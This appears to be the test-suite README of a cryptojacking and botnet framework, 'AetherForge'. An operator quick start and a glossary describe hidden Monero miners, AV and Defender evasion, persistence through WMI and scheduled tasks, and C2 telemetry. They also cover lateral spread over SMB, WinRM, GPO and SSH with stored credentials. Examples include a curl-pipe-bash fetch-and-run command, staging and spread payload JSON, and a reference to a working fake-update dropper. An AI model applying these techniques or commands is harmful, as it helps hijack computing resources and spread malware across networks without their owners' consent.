Files
AetherForge/tests/README.md
AetherForge fd5cc1dd61
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix portable USB pack webroot resolution and document LAUNCH flow.
Prefer server/webroot in pack-usb (Vite outDir), cd to deck root before starting AetherForge so cwd-based webroot lookup hits usb\webroot, and note pack/LAUNCH steps in tests/README.
2026-06-07 00:48:24 -07:00

401 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AetherForge Test Suite
One command runs everything:
```bat
test.bat
```
Or with PowerShell directly:
```powershell
.\scripts\test-suite.ps1
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
.\scripts\test-suite.ps1 -ReconOnly
```
**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
## Phases
| Phase | What it runs | Location |
|-------|----------------|----------|
| 1 | Go server unit + integration tests | `server/` |
| 2 | Go agent tests | `agent/` |
| 3 | Fusion module unit tests + compile check | `fusion/` |
| 4 | Frontend unit tests (Vitest) | `server/web/` |
| 5 | Frontend production build | `server/web/` |
| 6 | Server binary compile | `server/` |
| 7 | Agent binary compile (Windows) | `agent/``bin/install-worker.exe` |
| 7b | Agent cross-compile (linux/darwin) | `agent/``bin/install-worker-*` |
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 |
Phases 57 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.
## Operator quick start (LOTL + fleet recon)
1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example.
2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`.
3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:
```json
"deployment_credentials": [
{ "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" }
]
```
Store the password in `data/deployment-creds/<id>.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`.
Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
## LOTL architecture (triple onion)
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
```mermaid
flowchart TB
subgraph recon["Recon phase"]
kev[kev_scan]
vr[vuln_recon]
sp[service_probe]
lp[listen_ports]
kev --> vr --> sp --> lp
end
subgraph gates["Policy gates"]
pf{patch_first?}
hr{high risk?}
end
subgraph deploy["Deploy lanes"]
dj[discover_and_join]
d1[docker / docker_load]
d2[wsl / powershell / dotnet]
d3[bits_curl / smb / winrm]
d4[linux / gpo / intune]
dj --> d1 --> d2 --> d3 --> d4
end
subgraph mining["Mining execution tiers"]
m1[exe_subprocess]
m2[docker_load / container / wsl]
m3[ps_inmemory / dotnet / cpu_inprocess]
m4[wmi / scheduled_task / webview2_probe]
m5[gpu_compute / gpu_subprocess / linux_pyopencl]
m6[stratum_direct]
m1 --> m2 --> m3 --> m4 --> m5 --> m6
end
recon --> pf
pf -->|critical CVE exposed| skip[Skip deploy + mining]
pf -->|clear| hr
hr -->|risk above threshold| mineOnly[Deploy only or skip mining]
hr -->|acceptable| deploy
deploy -->|lane OK| mining
deploy -->|all lanes fail| mining
```
Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):
```mermaid
stateDiagram-v2
[*] --> TryTier1
TryTier1 --> Active: tier OK
TryTier1 --> TryTier2: tier failed / skipped
TryTier2 --> Active: tier OK
TryTier2 --> TryTier3: tier failed / skipped
TryTier3 --> Active: tier OK
TryTier3 --> TryTierN: tier failed / skipped
TryTierN --> Active: tier OK
TryTierN --> Exhausted: all tiers failed
Active --> [*]: hashrate reported
Exhausted --> [*]: lotl_attempts logged
```
Telemetry from each attempt flows to the dashboard via WebSocket `stats_batch`: `lotl_tier`, `lotl_attempts`, `mining_hashrate`, `stratum_egress`, `join_lane`, `vuln_findings`.
## LOTL vector glossary
Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html).
### Mining execution tiers
| Term | Definition | Example |
|------|------------|---------|
| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. |
| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. |
| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. |
| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. |
| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. |
| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. |
| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. |
| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. |
| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. |
| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. |
| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. |
| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. |
| `gpu_subprocess` | External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier `gpu_subprocess` after `webview2_probe` passes. |
| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. |
| `linux_pyopencl` | Linux OpenCL probe via `python3 -c "import pyopencl"` before `stratum_direct` when no CUDA. | Inserted by `appendLinuxPyOpenCL` in fallback chain on Linux agents without CUDA. |
### Spread / deploy lanes
| Term | Definition | Example |
|------|------------|---------|
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. |
| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. |
| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` |
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
### Fleet recon
| Term | Definition | Example |
|------|------------|---------|
| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. |
| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. |
| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). |
| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. |
| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. |
| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. |
| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. |
| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. |
| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). |
| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. |
### C2 / telemetry
| Term | Definition | Example |
|------|------------|---------|
| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. |
| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. |
| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. |
| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. |
| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. |
### Planned / stub (not fully automated E2E)
| Term | Status | Notes |
|------|--------|-------|
| Full Playwright discover→spread E2E | **Planned** | Vitest covers Probe & Join wiring; no live multi-hop E2E yet (see [Gaps](#gaps-hard-to-unit-test)). |
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |
## Run individual suites
```bat
cd server && go test ./...
cd agent && go test ./...
cd server\web && npm test
cd server\web && npm run test:e2e
```
### Fleet recon quick-run (P0 subset)
Matches `scripts/test-suite.ps1 -ReconOnly`:
```bat
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan" -count=1
cd server && go test ./internal/db/... -run CredEdge -count=1
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx
```
## E2E only (server already running)
E2E credentials match `server/internal/api/integration_test.go` (`testuser` / `testpass`). Seed
`users.json` in the server data directory **before** first start, or the server generates a random
`admin` password instead.
```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npm run test:e2e
```
`test.bat` phase 8 seeds `users.json` automatically in a temp data dir. Override creds with
`AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` (used by Playwright, `test-suite.ps1`, and
`scripts/smoke-test.ps1`).
## Adding tests
- **Go:** `*_test.go` next to the code under test
- **Frontend:** `src/**/*.test.ts` (Vitest)
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright)
All Go packages under `server/` and `agent/` are picked up automatically by `go test ./...` in
`scripts/test-suite.ps1`. Vitest discovers any `*.test.ts(x)` under `server/web/src/`.
## Priority tests (P0 / P1)
### P0 — security and command validation
| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| Crucible exec E2E | Online stub agent; **whoami**, terminal **echo**, and **LOTL tier badge** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
### P1 — additional hardening
| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestDownloadCommandRejectsPathTraversal` | Agent `download` (read) blocks traversal paths like upload | `agent/client/client_upload_test.go` | 2 |
Run P0 Go tests quickly:
```bat
cd server && go test ./internal/api/... -run "TestIntegrationRouterCommandFullRoundTrip|TestAllowAgentWSUpgradeRateLimit" -count=1
cd server && go test ./internal/builder/... -run TestPathForgeRootPathOutsideAllowedRoots -count=1
cd agent && go test ./client/... -run "Upload|Download" -count=1
```
Run Crucible P0 E2E only (needs a live server on `AETHERFORGE_URL`, default `:8989`; `test-suite.ps1` phase 8 uses `:18989`):
```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts
```
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
Run remote-actions only (no stub agent; mocks offline fleet via WS):
```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/remote-actions.spec.ts
```
## Coverage map (recent features)
| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
| P0 Crucible exec + LOTL badge E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
| Mining diagnostics JSON + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
| Mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
| Chain cooldown / inprocess skips container | `agent/miner/fallback_chain_test.go` | 2 |
| Stats batch WS coalescing | `server/internal/api/websocket_test.go` | 1 |
| Agents API pagination + subnet | `server/internal/db/agents_list_test.go`, `server/internal/api/handlers_test.go` | 1 |
| Mining status relay (`mining_status` / `mining_fallback`) | `server/internal/api/websocket_test.go` | 1 |
| Agent name preserved on reconnect | `server/internal/api/websocket_test.go` | 1 |
| `applyStatsUpdate` / `stats_batch` mining fields | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 |
| Crucible terminal `_seq` cursor | `server/web/src/pages/CruciblePage.test.tsx` | 4 |
| CrucibleAgentMeta / bulk toolbar | `CrucibleAgentMeta.test.tsx`, `CruciblePage.test.tsx` | 4 |
| Defender exclusion helper | `server/web/src/help/defenderExclusion.test.ts` | 4 |
| AV-Safe forge preset | `forgeOperationModes.test.ts`, `forgeMissionWizard.test.ts` | 4 |
| Forge progress polling | `server/web/src/pages/BuilderPage.test.tsx` | 4 |
| Emberwake pinA/pinB ref fix | `server/web/src/pages/EmberwakePage.test.tsx` | 4 |
| Mining status in AgentRemoteActions | `server/web/src/components/components.test.tsx` | 4 |
| PathTracerPage (12 tests) | `server/web/src/pages/PathTracerPage.test.tsx` | 4 |
| SystemStatusBar WS fleet count | `server/web/src/components/components.test.tsx` | 4 |
| WebSocket `stats_batch` handler | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Remote action wiring (`mining_diagnostics`) | `server/web/src/help/remoteActions.test.ts` | 4 |
### Fleet recon (2026-06-06 parallel agents)
| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 |
| `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 |
| `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 |
| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/discover_join_test.go`, `service_deploy_test.go` | 1 / 2 |
| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go` (`TestEvaluateTripleOnionGates*`, `TestTripleOnionOrchestrator*`), `server/internal/api/server_policy_test.go` | 1 / 2 |
| Deployment cred vault + affinity | `server/deployment_creds_test.go` (`TestOrderDeploymentCredProfiles_Affinity`, `TestLoadDeploymentCredPasswordFromVault`) | 1 |
| CVE / KEV client correlate | `agent/client/cve_scan_test.go`, `agent/client/vuln_scan_test.go` | 2 |
| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 |
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 |
| Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 |
| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
| `vuln_probe` recon tier in mining chain | `agent/miner/tier_vuln_probe_test.go`, `mining_chain_test.go` | 2 |
### P1 — LOTL tiered mining (onion feature set)
| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestSelectMiningTierChain*` | Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers | `agent/miner/lotl_tier_test.go` | 2 |
| `TestTierOrchestrator*` | Sequential tier attempts, wallet parity, GPU addon gating, tier_report events | `agent/miner/lotl_orchestrator_test.go`, `lotl_tier_test.go` | 2 |
| `TestTryChainRunTierHooksPopulatesLOTLFields` | Fallback chain ↔ tier orchestrator integration | `agent/miner/fallback_chain_test.go` | 2 |
| `TestDefaultFallbackChain*` / launcher tests | powershell, dotnet, wsl, docker_load, container execution tiers | `agent/miner/*_launcher_test.go`, `fallback_chain_test.go` | 2 |
| `TestRunWMITier*` / `TestRunScheduledTaskTier*` / `TestRunGPUComputeTier*` / `TestRunWebView2Probe*` | Windows/Linux execution tiers with mocked binaries | `agent/miner/tier_*_test.go` | 2 |
| `TestAppendLinuxPyOpenCL*` | linux_pyopencl tier insertion | `agent/miner/pyopencl_test.go` | 2 |
| `TestApplyAuthLotlPolicy*` / `TestMiningTierPolicy*` | Server-pulled mining tier policy from auth | `agent/client/mining_policy_test.go` | 2 |
| `TestMiningDiagnostics*` / `TestInferMiningBlockers*` | Diagnostics JSON + tier chain fields + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
| `TestChainOrderForConfig*` | Client mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
| `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
| `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
| `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
| `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
| `TestStatsBatchCoalescesSameAgent` | Same-agent coalesce preserves LOTL fields | `server/internal/api/websocket_test.go` | 1 |
| `TestAgentLotlFieldsJSONRoundTrip` | Agent model JSON exposes tier telemetry | `server/internal/models/agent_test.go` | 1 |
| `TestApplyLotlOnionPreset` / `TestNormalizeLotlOnionTiers` | Fusion/builder LOTL Onion preset | `server/internal/builder/lotl_onion_test.go` | 1 |
| `applyStatsUpdate` / `wsStatsCoalesce` LOTL fields | `lotl_tier`, `lotl_attempts`, `mining_hashrate` merge | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
| `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
| LOTL onion tier docs | Ten-tier spread chain constants | `server/web/src/help/lotlOnionTiers.test.ts` | 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
Run LOTL Go tests quickly:
```bat
cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining|PyOpenCL|WMI|WebView|GPUCompute|Scheduled|UNC" -count=1
cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
```
### Gaps (hard to unit-test)
- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only.
- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
- **Full agent `MiningChainRunner.Start` lifecycle** — needs live pool + optional GPU binary; hook order covered via `ChainController` tests.
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; tier stubs and normalization covered in deploy tests.
- **Real BITS/curl/certutil download** — network + OS tooling; staging path/hash logic covered in `staging_test.go`.
- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`).
- **Playwright fleet recon flow** — Probe & Join and risk badges covered in Vitest; no full discover→spread E2E yet.
### Agent logs (not a missing API)
- **`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call
Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.
### Frontend types (`types/index.ts`)
TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.